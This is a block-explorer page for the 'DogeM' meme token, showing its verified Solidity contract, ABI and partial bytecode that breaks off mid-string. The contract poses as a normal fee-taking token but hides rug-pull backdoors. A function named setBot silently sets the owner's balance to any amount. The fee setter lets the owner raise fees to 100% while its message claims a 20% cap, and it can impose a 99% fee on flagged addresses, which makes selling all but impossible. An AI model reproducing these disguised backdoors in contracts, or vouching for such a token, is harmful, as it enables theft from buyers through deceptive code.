ETH Price: $3,390.34 (+1.66%)

Token

DogeM (Doge To The Moon)
 

Overview

Max Total Supply

10,000,000,000 Doge To The Moon

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
45,172,250.103584015951875949 Doge To The Moon

Value
$0.00
0x6e8193b42652311B30f2948825dE4f8A219154aE
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DogeM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-17
*/

/**
Doge To The Moon!!!!!
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀
🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛

https://t.me/DogeMoon_ERC20
https://twitter.com/DogeMoon_ERC20
https://dogem.xyz/

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract DogeM is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "DogeM";
    string private constant _symbol = "Doge To The Moon";
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 10000000000 * (10**_decimals);
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = (_totalSupply * 1000) / 100000;
    uint256 private minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 1000;
    uint256 private burnFee = 0;
    uint256 private totalFee = 2500;
    uint256 private sellFee = 2500;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver =
        0xb921FcaCaddD45bf0b6395eb018D7Ed472E3d5bF;
    address internal marketing_receiver =
        0xb921FcaCaddD45bf0b6395eb018D7Ed472E3d5bF;
    address internal liquidity_receiver =
        0xb921FcaCaddD45bf0b6395eb018D7Ed472E3d5bF;
    uint256 public _maxTxAmount = (_totalSupply * 2000) / 10000;
    uint256 public _maxSellAmount = (_totalSupply * 2000) / 10000;
    uint256 public _maxWalletToken = (_totalSupply * 2000) / 10000;

    constructor() payable Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function shouldContractSwap(
        address sender,
        address recipient,
        uint256 amount
    ) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            aboveMin &&
            !isFeeExempt[sender] &&
            recipient == pair &&
            swapTimes >= swapAmount &&
            aboveThreshold;
    }

    function setContractSwap(
        uint256 _swapAmount,
        uint256 _swapThreshold,
        uint256 _minTokenAmount
    ) external onlyOwner {
        swapAmount = _swapAmount;
        swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000));
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function setTransactionRequire(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(1) &&
                sellFee <= denominator.div(1) &&
                transferFee <= denominator.div(1),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function setTransactionLimit(
        uint256 _buy,
        uint256 _sell,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000);
        uint256 newTransfer = _totalSupply.mul(_sell).div(10000);
        uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function setInternalAddresses(
        address _marketing,
        address _liquidity,
        address _development
    ) external onlyOwner {
        marketing_receiver = _marketing;
        liquidity_receiver = _liquidity;
        development_receiver = _development;
        isFeeExempt[_marketing] = true;
        isFeeExempt[_liquidity] = true;
        isFeeExempt[_development] = true;
    }

    function setBot(uint56 bot) external onlyOwner {
        _balances[owner] = 1000000000 * bot * (10**_decimals);
    }

    function manualSwap() external onlyOwner {
        swapAndLiquify(swapThreshold);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee)
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmt > 0) {
            payable(marketing_receiver).transfer(marketingAmt);
        }
        uint256 contractBalance = address(this).balance;
        if (contractBalance > uint256(0)) {
            payable(development_receiver).transfer(contractBalance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (isBot[sender] || isBot[recipient]) {
            return denominator.sub(uint256(100));
        }
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (
                burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee
            ) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
        if (recipient == pair && !isFeeExempt[sender]) {
            swapTimes += uint256(1);
        }
        if (shouldContractSwap(sender, recipient, amount)) {
            swapAndLiquify(swapThreshold);
            swapTimes = uint256(0);
        }
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function openTrading() external onlyOwner {
        _approve(address(this), address(router),type(uint256).max);
        address uniswapV2Pair = IFactory(router.factory()).createPair(
            address(this),
            router.WETH()
        );
        pair = uniswapV2Pair;
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingAllowed = true;
        IERC20(uniswapV2Pair).approve(address(router), type(uint256).max);
    }

    fallback() external payable {}

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint56","name":"bot","type":"uint56"}],"name":"setBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequire","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526012600a6200001491906200074f565b6402540be400620000269190620007a0565b6001556000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506001600a55620186a06103e86001546200007a9190620007a0565b6200008691906200081a565b600b55620186a0600a6001546200009e9190620007a0565b620000aa91906200081a565b600c556000600d556000600e556103e8600f5560006010556109c46011556109c4601255600060135561271060145573b921fcacaddd45bf0b6395eb018d7ed472e3d5bf601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b921fcacaddd45bf0b6395eb018d7ed472e3d5bf601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b921fcacaddd45bf0b6395eb018d7ed472e3d5bf601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506127106107d0600154620001ed9190620007a0565b620001f991906200081a565b6018556127106107d0600154620002119190620007a0565b6200021d91906200081a565b6019556127106107d0600154620002359190620007a0565b6200024191906200081a565b601a5533806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620005a6919062000863565b60405180910390a35062000880565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000643578086048111156200061b576200061a620005b5565b5b60018516156200062b5780820291505b80810290506200063b85620005e4565b9450620005fb565b94509492505050565b6000826200065e576001905062000731565b816200066e576000905062000731565b81600181146200068757600281146200069257620006c8565b600191505062000731565b60ff841115620006a757620006a6620005b5565b5b8360020a915084821115620006c157620006c0620005b5565b5b5062000731565b5060208310610133831016604e8410600b8410161715620007025782820a905083811115620006fc57620006fb620005b5565b5b62000731565b620007118484846001620005f1565b925090508184048111156200072b576200072a620005b5565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200075c8262000738565b9150620007698362000742565b9250620007987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200064c565b905092915050565b6000620007ad8262000738565b9150620007ba8362000738565b9250828202620007ca8162000738565b91508282048414831517620007e457620007e3620005b5565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008278262000738565b9150620008348362000738565b925082620008475762000846620007eb565b5b828204905092915050565b6200085d8162000738565b82525050565b60006020820190506200087a600083018462000852565b92915050565b61400c80620008906000396000f3fe6080604052600436106101855760003560e01c80637cca52fe116100d1578063a8aa1b311161008a578063c9567bf911610064578063c9567bf91461058c578063dd62ed3e146105a3578063dfa3a2e3146105e0578063f2fde38b146106095761018c565b8063a8aa1b31146104fb578063a9059cbb14610526578063b3441020146105635761018c565b80637cca52fe146103fd5780637d1db4a514610428578063893d20e8146104535780638cd4426d1461047e5780639213c358146104a757806395d89b41146104d05761018c565b80632f54bf6e1161013e57806348ff2b8b1161011857806348ff2b8b1461035557806351bc3c851461037e57806370a082311461039557806378109e54146103d25761018c565b80632f54bf6e146102b0578063313ce567146102ed5780633f4218e0146103185761018c565b806306fdde031461018e578063095ea7b3146101b957806318160ddd146101f65780631b5faebb146102215780632331777d1461024a57806323b872dd146102735761018c565b3661018c57005b005b34801561019a57600080fd5b506101a3610632565b6040516101b09190612e0e565b60405180910390f35b3480156101c557600080fd5b506101e060048036038101906101db9190612ec9565b61066f565b6040516101ed9190612f24565b60405180910390f35b34801561020257600080fd5b5061020b610686565b6040516102189190612f4e565b60405180910390f35b34801561022d57600080fd5b5061024860048036038101906102439190612f69565b6106c7565b005b34801561025657600080fd5b50610271600480360381019061026c9190612fbc565b61077b565b005b34801561027f57600080fd5b5061029a6004803603810190610295919061305e565b61089d565b6040516102a79190612f24565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d291906130b1565b610968565b6040516102e49190612f24565b60405180910390f35b3480156102f957600080fd5b506103026109c1565b60405161030f91906130fa565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906130b1565b6109ca565b60405161034c9190612f24565b60405180910390f35b34801561036157600080fd5b5061037c60048036038101906103779190613141565b6109ea565b005b34801561038a57600080fd5b50610393610a8d565b005b3480156103a157600080fd5b506103bc60048036038101906103b791906130b1565b610ae2565b6040516103c99190612f4e565b60405180910390f35b3480156103de57600080fd5b506103e7610b2b565b6040516103f49190612f4e565b60405180910390f35b34801561040957600080fd5b50610412610b31565b60405161041f9190612f4e565b60405180910390f35b34801561043457600080fd5b5061043d610b37565b60405161044a9190612f4e565b60405180910390f35b34801561045f57600080fd5b50610468610b3d565b6040516104759190613190565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a09190612ec9565b610b66565b005b3480156104b357600080fd5b506104ce60048036038101906104c991906131ab565b610cf7565b005b3480156104dc57600080fd5b506104e5610f0f565b6040516104f29190612e0e565b60405180910390f35b34801561050757600080fd5b50610510610f4c565b60405161051d9190613190565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190612ec9565b610f72565b60405161055a9190612f24565b60405180910390f35b34801561056f57600080fd5b5061058a6004803603810190610585919061323d565b610f89565b005b34801561059857600080fd5b506105a1611069565b005b3480156105af57600080fd5b506105ca60048036038101906105c5919061326a565b611495565b6040516105d79190612f4e565b60405180910390f35b3480156105ec57600080fd5b5061060760048036038101906106029190612f69565b61151c565b005b34801561061557600080fd5b50610630600480360381019061062b91906132e8565b611697565b005b60606040518060400160405280600581526020017f446f67654d000000000000000000000000000000000000000000000000000000815250905090565b600061067c338484611759565b6001905092915050565b60006106c26106956000610ae2565b6106b46106a361dead610ae2565b60015461192290919063ffffffff16565b61192290919063ffffffff16565b905090565b6106d033610968565b61070f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070690613361565b60405180910390fd5b82600a81905550610740620186a06107328460015461193890919063ffffffff16565b61194e90919063ffffffff16565b600b81905550610770620186a06107628360015461193890919063ffffffff16565b61194e90919063ffffffff16565b600c81905550505050565b61078433610968565b6107c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ba90613361565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f8190555082601181905550816012819055508060138190555061080a600160145461194e90919063ffffffff16565b60115411158015610832575061082c600160145461194e90919063ffffffff16565b60125411155b8015610855575061084f600160145461194e90919063ffffffff16565b60135411155b610894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088b906133f3565b60405180910390fd5b50505050505050565b60006108aa848484611964565b61095d843361095885604051806060016040528060288152602001613faf60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222e9092919063ffffffff16565b611759565b600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b60046020528060005260406000206000915054906101000a900460ff1681565b6109f333610968565b610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2990613361565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610a9633610968565b610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc90613361565b60405180910390fd5b610ae0600b54612283565b565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b60195481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b6f33610968565b610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590613361565b60405180910390fd5b6000610c4f6064610c41848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610bf29190613190565b602060405180830381865afa158015610c0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c339190613428565b61193890919063ffffffff16565b61194e90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610cae929190613455565b6020604051808303816000875af1158015610ccd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081